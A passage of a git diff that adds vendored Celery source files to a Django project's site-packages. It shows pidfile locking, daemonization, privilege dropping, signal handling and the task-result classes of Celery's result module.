process does not respons to signal. + """ + try: + pid = self.read_pid() + except ValueError: + print('Broken pidfile found - Removing it.', file=sys.stderr) + self.remove() + return True + if not pid: + self.remove() + return True + + try: + os.kill(pid, 0) + except os.error as exc: + if exc.errno == errno.ESRCH or exc.errno == errno.EPERM: + print('Stale pidfile exists - Removing it.', file=sys.stderr) + self.remove() + return True + except SystemError: + print('Stale pidfile exists - Removing it.', file=sys.stderr) + self.remove() + return True + return False + + def write_pid(self): + pid = os.getpid() + content = f'{pid}\n' + + pidfile_fd = os.open(self.path, PIDFILE_FLAGS, PIDFILE_MODE) + pidfile = os.fdopen(pidfile_fd, 'w') + try: + pidfile.write(content) + # flush and sync so that the re-read below works. + pidfile.flush() + try: + os.fsync(pidfile_fd) + except AttributeError: # pragma: no cover + pass + finally: + pidfile.close() + + rfh = open(self.path) + try: + if rfh.read() != content: + raise LockFailed( + "Inconsistency: Pidfile content doesn't match at re-read") + finally: + rfh.close() + + +PIDFile = Pidfile # XXX compat alias + + +def create_pidlock(pidfile): + """Create and verify pidfile. + + If the pidfile already exists the program exits with an error message, + however if the process it refers to isn't running anymore, the pidfile + is deleted and the program continues. + + This function will automatically install an :mod:`atexit` handler + to release the lock at exit, you can skip this by calling + :func:`_create_pidlock` instead. + + Returns: + Pidfile: used to manage the lock. + + Example: + >>> pidlock = create_pidlock('/var/run/app.pid') + """ + pidlock = _create_pidlock(pidfile) + atexit.register(pidlock.release) + return pidlock + + +def _create_pidlock(pidfile): + pidlock = Pidfile(pidfile) + if pidlock.is_locked() and not pidlock.remove_if_stale(): + print(PIDLOCKED.format(pidfile, pidlock.read_pid()), file=sys.stderr) + raise SystemExit(EX_CANTCREAT) + pidlock.acquire() + return pidlock + + +def fd_by_path(paths): + """Return a list of file descriptors. + + This method returns list of file descriptors corresponding to + file paths passed in paths variable. + + Arguments: + paths: List[str]: List of file paths. + + Returns: + List[int]: List of file descriptors. + + Example: + >>> keep = fd_by_path(['/dev/urandom', '/my/precious/']) + """ + stats = set() + for path in paths: + try: + fd = os.open(path, os.O_RDONLY) + except OSError: + continue + try: + stats.add(os.fstat(fd)[1:3]) + finally: + os.close(fd) + + def fd_in_stats(fd): + try: + return os.fstat(fd)[1:3] in stats + except OSError: + return False + + return [_fd for _fd in range(get_fdmax(2048)) if fd_in_stats(_fd)] + + +class DaemonContext: + """Context manager daemonizing the process.""" + + _is_open = False + + def __init__(self, pidfile=None, workdir=None, umask=None, + fake=False, after_chdir=None, after_forkers=True, + **kwargs): + if isinstance(umask, str): + # octal or decimal, depending on initial zero. + umask = int(umask, 8 if umask.startswith('0') else 10) + self.workdir = workdir or DAEMON_WORKDIR + self.umask = umask + self.fake = fake + self.after_chdir = after_chdir + self.after_forkers = after_forkers + self.stdfds = (sys.stdin, sys.stdout, sys.stderr) + + def redirect_to_null(self, fd): + if fd is not None: + dest = os.open(os.devnull, os.O_RDWR) + os.dup2(dest, fd) + + def open(self): + if not self._is_open: + if not self.fake: + self._detach() + + os.chdir(self.workdir) + if self.umask is not None: + os.umask(self.umask) + + if self.after_chdir: + self.after_chdir() + + if not self.fake: + # We need to keep /dev/urandom from closing because + # shelve needs it, and Beat needs shelve to start. + keep = list(self.stdfds) + fd_by_path(['/dev/urandom']) + close_open_fds(keep) + for fd in self.stdfds: + self.redirect_to_null(maybe_fileno(fd)) + if self.after_forkers and mputil is not None: + mputil._run_after_forkers() + + self._is_open = True + + __enter__ = open + + def close(self, *args): + if self._is_open: + self._is_open = False + + __exit__ = close + + def _detach(self): + if os.fork() == 0: # first child + os.setsid() # create new session + if os.fork() > 0: # pragma: no cover + # second child + os._exit(0) + else: + os._exit(0) + return self + + +def detached(logfile=None, pidfile=None, uid=None, gid=None, umask=0, + workdir=None, fake=False, **opts): + """Detach the current process in the background (daemonize). + + Arguments: + logfile (str): Optional log file. + The ability to write to this file + will be verified before the process is detached. + pidfile (str): Optional pid file. + The pidfile won't be created, + as this is the responsibility of the child. But the process will + exit if the pid lock exists and the pid written is still running. + uid (int, str): Optional user id or user name to change + effective privileges to. + gid (int, str): Optional group id or group name to change + effective privileges to. + umask (str, int): Optional umask that'll be effective in + the child process. + workdir (str): Optional new working directory. + fake (bool): Don't actually detach, intended for debugging purposes. + **opts (Any): Ignored. + + Example: + >>> from celery.platforms import detached, create_pidlock + >>> with detached( + ... logfile='/var/log/app.log', + ... pidfile='/var/run/app.pid', + ... uid='nobody'): + ... # Now in detached child process with effective user set to nobody, + ... # and we know that our logfile can be written to, and that + ... # the pidfile isn't locked. + ... pidlock = create_pidlock('/var/run/app.pid') + ... + ... # Run the program + ... program.run(logfile='/var/log/app.log') + """ + if not resource: + raise RuntimeError('This platform does not support detach.') + workdir = os.getcwd() if workdir is None else workdir + + signals.reset('SIGCLD') # Make sure SIGCLD is using the default handler. + maybe_drop_privileges(uid=uid, gid=gid) + + def after_chdir_do(): + # Since without stderr any errors will be silently suppressed, + # we need to know that we have access to the logfile. + logfile and open(logfile, 'a').close() + # Doesn't actually create the pidfile, but makes sure it's not stale. + if pidfile: + _create_pidlock(pidfile).release() + + return DaemonContext( + umask=umask, workdir=workdir, fake=fake, after_chdir=after_chdir_do, + ) + + +def parse_uid(uid): + """Parse user id. + + Arguments: + uid (str, int): Actual uid, or the username of a user. + Returns: + int: The actual uid. + """ + try: + return int(uid) + except ValueError: + try: + return pwd.getpwnam(uid).pw_uid + except (AttributeError, KeyError): + raise KeyError(f'User does not exist: {uid}') + + +def parse_gid(gid): + """Parse group id. + + Arguments: + gid (str, int): Actual gid, or the name of a group. + Returns: + int: The actual gid of the group. + """ + try: + return int(gid) + except ValueError: + try: + return grp.getgrnam(gid).gr_gid + except (AttributeError, KeyError): + raise KeyError(f'Group does not exist: {gid}') + + +def _setgroups_hack(groups): + # :fun:`setgroups` may have a platform-dependent limit, + # and it's not always possible to know in advance what this limit + # is, so we use this ugly hack stolen from glibc. + groups = groups[:] + + while 1: + try: + return os.setgroups(groups) + except ValueError: # error from Python's check. + if len(groups) <= 1: + raise + groups[:] = groups[:-1] + except OSError as exc: # error from the OS. + if exc.errno != errno.EINVAL or len(groups) <= 1: + raise + groups[:] = groups[:-1] + + +def setgroups(groups): + """Set active groups from a list of group ids.""" + max_groups = None + try: + max_groups = os.sysconf('SC_NGROUPS_MAX') + except Exception: # pylint: disable=broad-except + pass + try: + return _setgroups_hack(groups[:max_groups]) + except OSError as exc: + if exc.errno != errno.EPERM: + raise + if any(group not in groups for group in os.getgroups()): + # we shouldn't be allowed to change to this group. + raise + + +def initgroups(uid, gid): + """Init process group permissions. + + Compat version of :func:`os.initgroups` that was first + added to Python 2.7. + """ + if not pwd: # pragma: no cover + return + username = pwd.getpwuid(uid)[0] + if hasattr(os, 'initgroups'): # Python 2.7+ + return os.initgroups(username, gid) + groups = [gr.gr_gid for gr in grp.getgrall() + if username in gr.gr_mem] + setgroups(groups) + + +def setgid(gid): + """Version of :func:`os.setgid` supporting group names.""" + os.setgid(parse_gid(gid)) + + +def setuid(uid): + """Version of :func:`os.setuid` supporting usernames.""" + os.setuid(parse_uid(uid)) + + +def maybe_drop_privileges(uid=None, gid=None): + """Change process privileges to new user/group. + + If UID and GID is specified, the real user/group is changed. + + If only UID is specified, the real user is changed, and the group is + changed to the users primary group. + + If only GID is specified, only the group is changed. + """ + if sys.platform == 'win32': + return + if os.geteuid(): + # no point trying to setuid unless we're root. + if not os.getuid(): + raise SecurityError('contact support') + uid = uid and parse_uid(uid) + gid = gid and parse_gid(gid) + + if uid: + _setuid(uid, gid) + else: + gid and setgid(gid) + + if uid and not os.getuid() and not os.geteuid(): + raise SecurityError('Still root uid after drop privileges!') + if gid and not os.getgid() and not os.getegid(): + raise SecurityError('Still root gid after drop privileges!') + + +def _setuid(uid, gid): + # If GID isn't defined, get the primary GID of the user. + if not gid and pwd: + gid = pwd.getpwuid(uid).pw_gid + # Must set the GID before initgroups(), as setgid() + # is known to zap the group list on some platforms. + + # setgid must happen before setuid (otherwise the setgid operation + # may fail because of insufficient privileges and possibly stay + # in a privileged group). + setgid(gid) + initgroups(uid, gid) + + # at last: + setuid(uid) + # ... and make sure privileges cannot be restored: + try: + setuid(0) + except OSError as exc: + if exc.errno != errno.EPERM: + raise + # we should get here: cannot restore privileges, + # everything was fine. + else: + raise SecurityError( + 'non-root user able to restore privileges after setuid.') + + +if hasattr(_signal, 'setitimer'): + def _arm_alarm(seconds): + _signal.setitimer(_signal.ITIMER_REAL, seconds) +else: + def _arm_alarm(seconds): + _signal.alarm(math.ceil(seconds)) + + +class Signals: + """Convenience interface to :mod:`signals`. + + If the requested signal isn't supported on the current platform, + the operation will be ignored. + + Example: + >>> from celery.platforms import signals + + >>> from proj.handlers import my_handler + >>> signals['INT'] = my_handler + + >>> signals['INT'] + my_handler + + >>> signals.supported('INT') + True + + >>> signals.signum('INT') + 2 + + >>> signals.ignore('USR1') + >>> signals['USR1'] == signals.ignored + True + + >>> signals.reset('USR1') + >>> signals['USR1'] == signals.default + True + + >>> from proj.handlers import exit_handler, hup_handler + >>> signals.update(INT=exit_handler, + ... TERM=exit_handler, + ... HUP=hup_handler) + """ + + ignored = _signal.SIG_IGN + default = _signal.SIG_DFL + + def arm_alarm(self, seconds): + return _arm_alarm(seconds) + + def reset_alarm(self): + return _signal.alarm(0) + + def supported(self, name): + """Return true value if signal by ``name`` exists on this platform.""" + try: + self.signum(name) + except AttributeError: + return False + else: + return True + + def signum(self, name): + """Get signal number by name.""" + if isinstance(name, numbers.Integral): + return name + if not isinstance(name, str) \ + or not name.isupper(): + raise TypeError('signal name must be uppercase string.') + if not name.startswith('SIG'): + name = 'SIG' + name + return getattr(_signal, name) + + def reset(self, *signal_names): + """Reset signals to the default signal handler. + + Does nothing if the platform has no support for signals, + or the specified signal in particular. + """ + self.update((sig, self.default) for sig in signal_names) + + def ignore(self, *names): + """Ignore signal using :const:`SIG_IGN`. + + Does nothing if the platform has no support for signals, + or the specified signal in particular. + """ + self.update((sig, self.ignored) for sig in names) + + def __getitem__(self, name): + return _signal.getsignal(self.signum(name)) + + def __setitem__(self, name, handler): + """Install signal handler. + + Does nothing if the current platform has no support for signals, + or the specified signal in particular. + """ + try: + _signal.signal(self.signum(name), handler) + except (AttributeError, ValueError): + pass + + def update(self, _d_=None, **sigmap): + """Set signal handlers from a mapping.""" + for name, handler in dict(_d_ or {}, **sigmap).items(): + self[name] = handler + + +signals = Signals() +get_signal = signals.signum # compat +install_signal_handler = signals.__setitem__ # compat +reset_signal = signals.reset # compat +ignore_signal = signals.ignore # compat + + +def signal_name(signum): + """Return name of signal from signal number.""" + return SIGMAP[signum][3:] + + +def strargv(argv): + arg_start = 2 if 'manage' in argv[0] else 1 + if len(argv) > arg_start: + return ' '.join(argv[arg_start:]) + return '' + + +def set_pdeathsig(name): + """Sends signal ``name`` to process when parent process terminates.""" + if signals.supported('SIGKILL'): + try: + _set_pdeathsig(signals.signum('SIGKILL')) + except OSError: + # We ignore when OS does not support set_pdeathsig + pass + + +def set_process_title(progname, info=None): + """Set the :command:`ps` name for the currently running process. + + Only works if :pypi:`setproctitle` is installed. + """ + proctitle = f'[{progname}]' + proctitle = f'{proctitle} {info}' if info else proctitle + if _setproctitle: + _setproctitle.setproctitle(safe_str(proctitle)) + return proctitle + + +if os.environ.get('NOSETPS'): # pragma: no cover + + def set_mp_process_title(*a, **k): + """Disabled feature.""" +else: + + def set_mp_process_title(progname, info=None, hostname=None): + """Set the :command:`ps` name from the current process name. + + Only works if :pypi:`setproctitle` is installed. + """ + if hostname: + progname = f'{progname}: {hostname}' + name = current_process().name if current_process else 'MainProcess' + return set_process_title(f'{progname}:{name}', info=info) + + +def get_errno_name(n): + """Get errno for string (e.g., ``ENOENT``).""" + if isinstance(n, str): + return getattr(errno, n) + return n + + +@contextmanager +def ignore_errno(*errnos, **kwargs): + """Context manager to ignore specific POSIX error codes. + + Takes a list of error codes to ignore: this can be either + the name of the code, or the code integer itself:: + + >>> with ignore_errno('ENOENT'): + ... with open('foo', 'r') as fh: + ... return fh.read() + + >>> with ignore_errno(errno.ENOENT, errno.EPERM): + ... pass + + Arguments: + types (Tuple[Exception]): A tuple of exceptions to ignore + (when the errno matches). Defaults to :exc:`Exception`. + """ + types = kwargs.get('types') or (Exception,) + errnos = [get_errno_name(errno) for errno in errnos] + try: + yield + except types as exc: + if not hasattr(exc, 'errno'): + raise + if exc.errno not in errnos: + raise + + +def check_privileges(accept_content): + if grp is None or pwd is None: + return + pickle_or_serialize = ('pickle' in accept_content + or 'application/group-python-serialize' in accept_content) + + uid = os.getuid() if hasattr(os, 'getuid') else 65535 + gid = os.getgid() if hasattr(os, 'getgid') else 65535 + euid = os.geteuid() if hasattr(os, 'geteuid') else 65535 + egid = os.getegid() if hasattr(os, 'getegid') else 65535 + + if hasattr(os, 'fchown'): + if not all(hasattr(os, attr) + for attr in ('getuid', 'getgid', 'geteuid', 'getegid')): + raise SecurityError('suspicious platform, contact support') + + # Get the group database entry for the current user's group and effective + # group id using grp.getgrgid() method + # We must handle the case where either the gid or the egid are not found. + try: + gid_entry = grp.getgrgid(gid) + egid_entry = grp.getgrgid(egid) + except KeyError: + warnings.warn(SecurityWarning(ASSUMING_ROOT)) + _warn_or_raise_security_error(egid, euid, gid, uid, + pickle_or_serialize) + return + + # Get the group and effective group name based on gid + gid_grp_name = gid_entry[0] + egid_grp_name = egid_entry[0] + + # Create lists to use in validation step later. + gids_in_use = (gid_grp_name, egid_grp_name) + groups_with_security_risk = ('sudo', 'wheel') + + is_root = uid == 0 or euid == 0 + # Confirm that the gid and egid are not one that + # can be used to escalate privileges. + if is_root or any(group in gids_in_use + for group in groups_with_security_risk): + _warn_or_raise_security_error(egid, euid, gid, uid, + pickle_or_serialize) + + +def _warn_or_raise_security_error(egid, euid, gid, uid, pickle_or_serialize): + c_force_root = os.environ.get('C_FORCE_ROOT', False) + + if pickle_or_serialize and not c_force_root: + raise SecurityError(ROOT_DISALLOWED.format( + uid=uid, euid=euid, gid=gid, egid=egid, + )) + + warnings.warn(SecurityWarning(ROOT_DISCOURAGED.format( + uid=uid, euid=euid, gid=gid, egid=egid, + ))) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/result.py b/django_lottopy/lib/python3.10/site-packages/celery/result.py new file mode 100644 index 00000000..2a784845 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/result.py @@ -0,0 +1,1068 @@ +"""Task results/state and results for groups of tasks.""" + +import datetime +import time +from collections import deque +from contextlib import contextmanager +from weakref import proxy + +from kombu.utils.objects import cached_property +from vine import Thenable, barrier, promise + +from . import current_app, states +from ._state import _set_task_join_will_block, task_join_will_block +from .app import app_or_default +from .exceptions import ImproperlyConfigured, IncompleteStream, TimeoutError +from .utils.graph import DependencyGraph, GraphFormatter +from .utils.iso8601 import parse_iso8601 + +try: + import tblib +except ImportError: + tblib = None + +__all__ = ( + 'ResultBase', 'AsyncResult', 'ResultSet', + 'GroupResult', 'EagerResult', 'result_from_tuple', +) + +E_WOULDBLOCK = """\ +Never call result.get() within a task! +See http://docs.celeryq.org/en/latest/userguide/tasks.html\ +#task-synchronous-subtasks +""" + + +def assert_will_not_block(): + if task_join_will_block(): + raise RuntimeError(E_WOULDBLOCK) + + +@contextmanager +def allow_join_result(): + reset_value = task_join_will_block() + _set_task_join_will_block(False) + try: + yield + finally: + _set_task_join_will_block(reset_value) + + +@contextmanager +def denied_join_result(): + reset_value = task_join_will_block() + _set_task_join_will_block(True) + try: + yield + finally: + _set_task_join_will_block(reset_value) + + +class ResultBase: + """Base class for results.""" + + #: Parent result (if part of a chain) + parent = None + + +@Thenable.register +class AsyncResult(ResultBase): + """Query task state. + + Arguments: + id (str): See :attr:`id`. + backend (Backend): See :attr:`backend`. + """ + + app = None + + #: Error raised for timeouts. + TimeoutError = TimeoutError + + #: The task's UUID. + id = None + + #: The task result backend to use. + backend = None + + def __init__(self, id, backend=None, + task_name=None, # deprecated + app=None, parent=None): + if id is None: + raise ValueError( + f'AsyncResult requires valid id, not {type(id)}') + self.app = app_or_default(app or self.app) + self.id = id + self.backend = backend or self.app.backend + self.parent = parent + self.on_ready = promise(self._on_fulfilled, weak=True) + self._cache = None + self._ignored = False + + @property + def ignored(self): + """If True, task result retrieval is disabled.""" + if hasattr(self, '_ignored'): + return self._ignored + return False + + @ignored.setter + def ignored(self, value): + """Enable/disable task result retrieval.""" + self._ignored = value + + def then(self, callback, on_error=None, weak=False): + self.backend.add_pending_result(self, weak=weak) + return self.on_ready.then(callback, on_error) + + def _on_fulfilled(self, result): + self.backend.remove_pending_result(self) + return result + + def as_tuple(self): + parent = self.parent + return (self.id, parent and parent.as_tuple()), None + + def as_list(self): + """Return as a list of task IDs.""" + results = [] + parent = self.parent + results.append(self.id) + if parent is not None: + results.extend(parent.as_list()) + return results + + def forget(self): + """Forget the result of this task and its parents.""" + self._cache = None + if self.parent: + self.parent.forget() + self.backend.forget(self.id) + + def revoke(self, connection=None, terminate=False, signal=None, + wait=False, timeout=None): + """Send revoke signal to all workers. + + Any worker receiving the task, or having reserved the + task, *must* ignore it. + + Arguments: + terminate (bool): Also terminate the process currently working + on the task (if any). + signal (str): Name of signal to send to process if terminate. + Default is TERM. + wait (bool): Wait for replies from workers. + The ``timeout`` argument specifies the seconds to wait. + Disabled by default. + timeout (float): Time in seconds to wait for replies when + ``wait`` is enabled. + """ + self.app.control.revoke(self.id, connection=connection, + terminate=terminate, signal=signal, + reply=wait, timeout=timeout) + + def get(self, timeout=None, propagate=True, interval=0.5, + no_ack=True, follow_parents=True, callback=None, on_message=None, + on_interval=None, disable_sync_subtasks=True, + EXCEPTION_STATES=states.EXCEPTION_STATES, + PROPAGATE_STATES=states.PROPAGATE_STATES): + """Wait until task is ready, and return its result. + + Warning: + Waiting for tasks within a task may lead to deadlocks. + Please read :ref:`task-synchronous-subtasks`. + + Warning: + Backends use resources to store and transmit results. To ensure + that resources are released, you must eventually call + :meth:`~@AsyncResult.get` or :meth:`~@AsyncResult.forget` on + EVERY :class:`~@AsyncResult` instance returned after calling + a task. + + Arguments: + timeout (float): How long to wait, in seconds, before the + operation times out. + propagate (bool): Re-raise exception if the task failed. + interval (float): Time to wait (in seconds) before retrying to + retrieve the result. Note that this does not have any effect + when using the RPC/redis result store backends, as they don't + use polling. + no_ack (bool): Enable amqp no ack (automatically acknowledge + message). If this is :const:`False` then the message will + **not be acked**. + follow_parents (bool): Re-raise any exception raised by + parent tasks. + disable_sync_subtasks (bool): Disable tasks to wait for sub tasks + this is the default configuration. CAUTION do not enable this + unless you must. + + Raises: + celery.exceptions.TimeoutError: if `timeout` isn't + :const:`None` and the result does not arrive within + `timeout` seconds. + Exception: If the remote call raised an exception then that + exception will be re-raised in the caller process. + """ + if self.ignored: + return + + if disable_sync_subtasks: + assert_will_not_block() + _on_interval = promise() + if follow_parents and propagate and self.parent: + _on_interval = promise(self._maybe_reraise_parent_error, weak=True) + self._maybe_reraise_parent_error() + if on_interval: + _on_interval.then(on_interval) + + if self._cache: + if propagate: + self.maybe_throw(callback=callback) + return self.result + + self.backend.add_pending_result(self) + return self.backend.wait_for_pending( + self, timeout=timeout, + interval=interval, + on_interval=_on_interval, + no_ack=no_ack, + propagate=propagate, + callback=callback, + on_message=on_message, + ) + wait = get # deprecated alias to :meth:`get`. + + def _maybe_reraise_parent_error(self): + for node in reversed(list(self._parents())): + node.maybe_throw() + + def _parents(self): + node = self.parent + while node: + yield node + node = node.parent + + def collect(self, intermediate=False, **kwargs): + """Collect results as they return. + + Iterator, like :meth:`get` will wait for the task to complete, + but will also follow :class:`AsyncResult` and :class:`ResultSet` + returned by the task, yielding ``(result, value)`` tuples for each + result in the tree. + + An example would be having the following tasks: + + .. code-block:: python + + from celery import group + from proj.celery import app + + @app.task(trail=True) + def A(how_many): + return group(B.s(i) for i in range(how_many))() + + @app.task(trail=True) + def B(i): + return pow2.delay(i) + + @app.task(trail=True) + def pow2(i): + return i ** 2 + + .. code-block:: pycon + + >>> from celery.result import ResultBase + >>> from proj.tasks import A + + >>> result = A.delay(10) + >>> [v for v in result.collect() + ... if not isinstance(v, (ResultBase, tuple))] + [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] + + Note: + The ``Task.trail`` option must be enabled + so that the list of children is stored in ``result.children``. + This is the default but enabled explicitly for illustration. + + Yields: + Tuple[AsyncResult, Any]: tuples containing the result instance + of the child task, and the return value of that task. + """ + for _, R in self.iterdeps(intermediate=intermediate): + yield R, R.get(**kwargs) + + def get_leaf(self): + value = None + for _, R in self.iterdeps(): + value = R.get() + return value + + def iterdeps(self, intermediate=False): + stack = deque([(None, self)]) + + while stack: + parent, node = stack.popleft() + yield parent, node + if node.ready(): + stack.extend((node, child) for child in node.children or []) + else: + if not intermediate: + raise IncompleteStream() + + def ready(self): + """Return :const:`True` if the task has executed. + + If the task is still running, pending, or is waiting + for retry then :const:`False` is returned. + """ + return self.state in self.backend.READY_STATES + + def successful(self): + """Return :const:`True` if the task executed successfully.""" + return self.state == states.SUCCESS + + def failed(self): + """Return :const:`True` if the task failed.""" + return self.state == states.FAILURE + + def throw(self, *args, **kwargs): + self.on_ready.throw(*args, **kwargs) + + def maybe_throw(self, propagate=True, callback=None): + cache = self._get_task_meta() if self._cache is None else self._cache + state, value, tb = ( + cache['status'], cache['result'], cache.get('traceback')) + if state in states.PROPAGATE_STATES and propagate: + self.throw(value, self._to_remote_traceback(tb)) + if callback is not None: + callback(self.id, value) + return value + maybe_reraise = maybe_throw # XXX compat alias + + def _to_remote_traceback(self, tb): + if tb and tblib is not None and self.app.conf.task_remote_tracebacks: + return tblib.Traceback.from_string(tb).as_traceback() + + def build_graph(self, intermediate=False, formatter=None): + graph = DependencyGraph( + formatter=formatter or GraphFormatter(root=self.id, shape='oval'), + ) + for parent, node in self.iterdeps(intermediate=intermediate): + graph.add_arc(node) + if parent: + graph.add_edge(parent, node) + return graph + + def __str__(self): + """`str(self) -> self.id`.""" + return str(self.id) + + def __hash__(self): + """`hash(self) -> hash(self.id)`.""" + return hash(self.id) + + def __repr__(self): + return f'<{type(self).__name__}: {self.id}>' + + def __eq__(self, other): + if isinstance(other, AsyncResult): + return other.id == self.id + elif isinstance(other, str): + return other == self.id + return NotImplemented + + def __ne__(self, other): + res = self.__eq__(other) + return True if res is NotImplemented else not res + + def __copy__(self): + return self.__class__( + self.id, self.backend, None, self.app, self.parent, + ) + + def __reduce__(self): + return self.__class__, self.__reduce_args__() + + def __reduce_args__(self): + return self.id, self.backend, None, None, self.parent + + def __del__(self): + """Cancel pending operations when the instance is destroyed.""" + if self.backend is not None: + self.backend.remove_pending_result(self) + + @cached_property + def graph(self): + return self.build_graph() + + @property + def supports_native_join(self): + return self.backend.supports_native_join + + @property + def children(self): + return self._get_task_meta().get('children') + + def _maybe_set_cache(self, meta): + if meta: + state = meta['status'] + if state in states.READY_STATES: + d = self._set_cache(self.backend.meta_from_decoded(meta)) + self.on_ready(self) + return d + return meta + + def _get_task_meta(self): + if self._cache is None: + return self._maybe_set_cache(self.backend.get_task_meta(self.id)) + return self._cache + + def _iter_meta(self, **kwargs): + return iter([self._get_task_meta()]) + + def _set_cache(self, d): + children = d.get('children') + if children: + d['children'] = [ + result_from_tuple(child, self.app) for child in children + ] + self._cache = d + return d + + @property + def result(self): + """Task return value. + + Note: + When the task has been executed, this contains the return value. + If the task raised an exception, this will be the exception + instance. + """ + return self._get_task_meta()['result'] + info = result + + @property + def traceback(self): + """Get the traceback of a failed task.""" + return self._get_task_meta().get('traceback') + + @property + def state(self): + """The tasks current state. + + Possible values includes: + + *PENDING* + + The task is waiting for execution. + + *STARTED* + + The task has been started. + + *RETRY* + + The task is to be retried, possibly because of failure. + + *FAILURE* + + The task raised an exception, or has exceeded the retry limit. + The :attr:`result` attribute then contains the + exception raised by the task. + + *SUCCESS* + + The task executed successfully. The :attr:`result` attribute + then contains the tasks return value. + """ + return self._get_task_meta()['status'] + status = state # XXX compat + + @property + def task_id(self): + """Compat. alias to :attr:`id`.""" + return self.id + + @task_id.setter + def task_id(self, id): + self.id = id + + @property + def name(self): + return self._get_task_meta().get('name') + + @property + def args(self): + return self._get_task_meta().get('args') + + @property + def kwargs(self): + return self._get_task_meta().get('kwargs') + + @property + def worker(self): + return self._get_task_meta().get('worker') + + @property + def date_done(self): + """UTC date and time.""" + date_done = self._get_task_meta().get('date_done') + if date_done and not isinstance(date_done, datetime.datetime): + return parse_iso8601(date_done) + return date_done + + @property + def retries(self): + return self._get_task_meta().get('retries') + + @property + def queue(self): + return self._get_task_meta().get('queue') + + +@Thenable.register +class ResultSet(ResultBase): + """A collection of results. + + Arguments: + results (Sequence[AsyncResult]): List of result instances. + """ + + _app = None + + #: List of results in in the set. + results = None + + def __init__(self, results, app=None, ready_barrier=None, **kwargs): + self._app = app + self.results = results + self.on_ready = promise(args=(proxy(self),)) + self._on_full = ready_barrier or barrier(results) + if self._on_full: + self._on_full.then(promise(self._on_ready, weak=True)) + + def add(self, result): + """Add :class:`AsyncResult` as a new member of the set. + + Does nothing if the result is already a member. + """ + if result not in self.results: + self.results.append(result) + if self._on_full: + self._on_full.add(result) + + def _on_ready(self): + if self.backend.is_async: + self.on_ready() + + def remove(self, result): + """Remove result from the set; it must be a member. + + Raises: + KeyError: if the result isn't a member. + """ + if isinstance(result, str): + result = self.app.AsyncResult(result) + try: + self.results.remove(result) + except ValueError: + raise KeyError(result) + + def discard(self, result): + """Remove result from the set if it is a member. + + Does nothing if it's not a member. + """ + try: + self.remove(result) + except KeyError: + pass + + def update(self, results): + """Extend from iterable of results.""" + self.results.extend(r for r in results if r not in self.results) + + def clear(self): + """Remove all results from this set.""" + self.results[:] = [] # don't create new list. + + def successful(self): + """Return true if all tasks successful. + + Returns: + bool: true if all of the tasks finished + successfully (i.e. didn't raise an exception). + """ + return all(result.successful() for result in self.results) + + def failed(self): + """Return true if any of the tasks failed. + + Returns: + bool: true if one of the tasks failed. + (i.e., raised an exception) + """ + return any(result.failed() for result in self.results) + + def maybe_throw(self, callback=None, propagate=True): + for result in self.results: + result.maybe_throw(callback=callback, propagate=propagate) + maybe_reraise = maybe_throw # XXX compat alias. + + def waiting(self): + """Return true if any of the tasks are incomplete. + + Returns: + bool: true if one of the tasks are still + waiting for execution. + """ + return any(not result.ready() for result in self.results) + + def ready(self): + """Did all of the tasks complete? (either by success of failure). + + Returns: + bool: true if all of the tasks have been executed. + """ + return all(result.ready() for result in self.results) + + def completed_count(self): + """Task completion count. + + Returns: + int: the number of tasks completed. + """ + return sum(int(result.successful()) for result in self.results) + + def forget(self): + """Forget about (and possible remove the result of) all the tasks.""" + for result in self.results: + result.forget() + + def revoke(self, connection=None, terminate=False, signal=None, + wait=False, timeout=None): + """Send revoke signal to all workers for all tasks in the set. + + Arguments: + terminate (bool): Also terminate the process currently working + on the task (if any). + signal (str): Name of signal to send to process if terminate. + Default is TERM. + wait (bool): Wait for replies from worker. + The ``timeout`` argument specifies the number of seconds + to wait. Disabled by default. + timeout (float): Time in seconds to wait for replies when + the ``wait`` argument is enabled. + """ + self.app.control.revoke([r.id for r in self.results], + connection=connection, timeout=timeout, + terminate=terminate, signal=signal, reply=wait) + + def __iter__(self): + return iter(self.results) + + def __getitem__(self, index): + """`res[i] -> res.results[i]`.""" + return self.results[index] + + def get(self, timeout=None, propagate=True, interval=0.5, + callback=None, no_ack=True, on_message=None, + disable_sync_subtasks=True, on_interval=None): + """See :meth:`join`. + + This is here for API compatibility with :class:`AsyncResult`, + in addition it uses :meth:`join_native` if available for the + current result backend. + """ + return (self.join_native if self.supports_native_join else self.join)( + timeout=timeout, propagate=propagate, + interval=interval, callback=callback, no_ack=no_ack, + on_message=on_message, disable_sync_subtasks=disable_sync_subtasks, + on_interval=on_interval, + ) + + def join(self, timeout=None, propagate=True, interval=0.5, + callback=None, no_ack=True, on_message=None, + disable_sync_subtasks=True, on_interval=None): + """Gather the results of all tasks as a list in order. + + Note: + This can be an expensive operation for result store + backends that must resort to polling (e.g., database). + + You should consider using :meth:`join_native` if your backend + supports it. + + Warning: + Waiting for tasks within a task may lead to deadlocks. + Please see :ref:`task-synchronous-subtasks`. + + Arguments: + timeout (float): The number of seconds to wait for results + before the operation times out. + propagate (bool): If any of the tasks raises an exception, + the exception will be re-raised when this flag is set. + interval (float): Time to wait (in seconds) before retrying to + retrieve a result from the set. Note that this does not have + any effect when using the amqp result store backend, + as it does not use polling. + callback (Callable): Optional callback to be called for every + result received. Must have signature ``(task_id, value)`` + No results will be returned by this function if a callback + is specified. The order of results is also arbitrary when a + callback is used. To get access to the result object for + a particular id you'll have to generate an index first: + ``index = {r.id: r for r in gres.results.values()}`` + Or you can create new result objects on the fly: + ``result = app.AsyncResult(task_id)`` (both will + take advantage of the backend cache anyway). + no_ack (bool): Automatic message acknowledgment (Note that if this + is set to :const:`False` then the messages + *will not be acknowledged*). + disable_sync_subtasks (bool): Disable tasks to wait for sub tasks + this is the default configuration. CAUTION do not enable this + unless you must. + + Raises: + celery.exceptions.TimeoutError: if ``timeout`` isn't + :const:`None` and the operation takes longer than ``timeout`` + seconds. + """ + if disable_sync_subtasks: + assert_will_not_block() + time_start = time.monotonic() + remaining = None + + if on_message is not None: + raise ImproperlyConfigured( + 'Backend does not support on_message callback') + + results = [] + for result in self.results: + remaining = None + if timeout: + remaining = timeout - (time.monotonic() - time_start) + if remaining <= 0.0: + raise TimeoutError('join operation timed out') + value = result.get( + timeout=remaining, propagate=propagate, + interval=interval, no_ack=no_ack, on_interval=on_interval, + disable_sync_subtasks=disable_sync_subtasks, + ) + if callback: + callback(result.id, value) + else: + results.append(value) + return results + + def then(self, callback, on_error=None, weak=False): + return self.on_ready.then(callback, on_error) + + def 